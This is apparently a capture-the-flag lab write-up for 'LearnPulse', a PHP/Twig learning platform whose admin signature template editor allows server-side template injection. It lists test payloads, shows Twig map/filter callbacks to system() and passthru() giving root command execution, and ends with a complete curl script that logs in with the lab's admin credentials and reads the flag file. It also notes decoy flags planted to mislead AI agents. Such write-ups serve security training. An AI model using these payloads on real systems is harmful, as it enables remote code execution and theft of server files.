Lab 130 — LearnPulse — SSTI in Signature Template Engine
Lab 130 — LearnPulse — SSTI in Signature Template Engine
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: map_filter_callback, php_array_map_callback, ssti_twig_rce, twig_map_system_rce
Summary
Walkthrough of the CUSTOM Web Lab 130 — LearnPulse — SSTI in Signature Template Engine. Task: PHP/Twig learning platform with admin Signature Template editor vulnerable to SSTI. Solution: Injected {{ ["cat /root/flag.txt"]|map("system") }} via Twig map filter callback to achieve RCE
Description
LearnPulse is a learning management platform. Admin credentials: admin@learnpulse.io / Puls3@Adm!n2025. Find a vulnerability allowing reading sensitive files from the server.
LearnPulse is a PHP 8.2.26 learning management platform running on nginx/1.25.5 with a Twig template engine. The admin panel at /admin/messenger features a "Signature Template" editor that allows customizing the signature appended to outgoing messages using template variables like {{ senderName }}, {{ senderEmail }}, {{ date }}, {{ platformName }}, and {{ senderRole }}. The goal is to exploit this template editor to read sensitive files from the server.
Note: The application contains honeypot/decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden divs on every page, designed to trick automated scanners and AI agents. These are NOT real flags.
Analysis
Reconnaissance
- Target:
https://<instance>.labs.hackadvisor.io/ - Stack: PHP 8.2.26, nginx/1.25.5, Twig template engine
- Login at
/loginwith admin credentials → redirects to/(Dashboard) - Admin sidebar reveals:
/admin/settings(Platform Settings) and/admin/messenger(Messenger Settings) - The Messenger Settings page contains a Signature Template editor with a textarea and "Save & Preview" button
- The template uses
{{ variable }}syntax — characteristic of Twig template engine - Supported variables:
{{ senderName }},{{ senderEmail }},{{ date }},{{ platformName }},{{ senderRole }}
SSTI Confirmation
Submitted {{7*7}} as the signature template → preview rendered 49, confirming Server-Side Template Injection in Twig.
Context Enumeration
Using {% for key, value in _context %}{{ key }} {% endfor %} revealed available variables:
senderName,senderEmail,date,platformName,senderRole,_parent
Blocked vs. Working Functions
| Payload | Result |
|---|---|
{{ source("/etc/passwd") }} | Template rendering error (blocked) |
{% include "/etc/passwd" %} | Template rendering error (blocked) |
{{ dump() }} | Template rendering error (blocked) |
{{ _self.env }} | Template rendering error (blocked) |
{{ ["id"]|map("system") }} | RCE! uid=0(root) |
{{ ["id"]|filter("system") }} | RCE! uid=0(root) |
{{ ["id"]|map("passthru") }} | RCE! uid=0(root) |
| |
Root Cause
The Signature Template textarea content is rendered directly through Twig's template engine without sandboxing. While some functions like source() and include are blocked, the |map(), |filter(), and |sort() filters remain available and accept PHP callable strings (like "system", "passthru") as callbacks. Internally, Twig's |map() calls PHP's array_map("system", ["command"]), enabling arbitrary command execution. The application runs as root (uid=0), making the impact critical.
Solution
Exploit Payload
twig read-only • copy allowed{{ ["cat /root/flag.txt"]|map("system") }}
Steps
- Log in as admin at
/loginwithadmin@learnpulse.io/Puls3@Adm!n2025 - Navigate to
/admin/messenger(Messenger Settings) - In the Signature Template textarea, enter:
{{ ["cat /root/flag.txt"]|map("system") }} - Click "Save & Preview"
- The signature preview displays the contents of
/root/flag.txt
curl Exploit
bash read-only • copy allowed#!/bin/bash TARGET="https://<instance>.labs.hackadvisor.io" # Get session curl -s -c cookies.txt "$TARGET/login" > /dev/null # Login curl -s -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=admin@learnpulse.io&password=Puls3@Adm!n2025" > /dev/null # Exploit SSTI - read flag via Twig map filter callback curl -s -b cookies.txt -X POST "$TARGET/admin/messenger" \ --data-urlencode 'signature_template={{ ["cat /root/flag.txt"]|map("system") }}' \ -d "auto_signature=1&message_retention_days=90" | grep -o 'FLAG{[^}]*}' | head -1
Key Takeaways / Lessons
- Mastering map_filter_callback, php_array_map_callback, ssti_twig_rce, twig_map_system_rce was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 130 — LearnPulse — SSTI in Signature Template Engine • Difficulty: Easy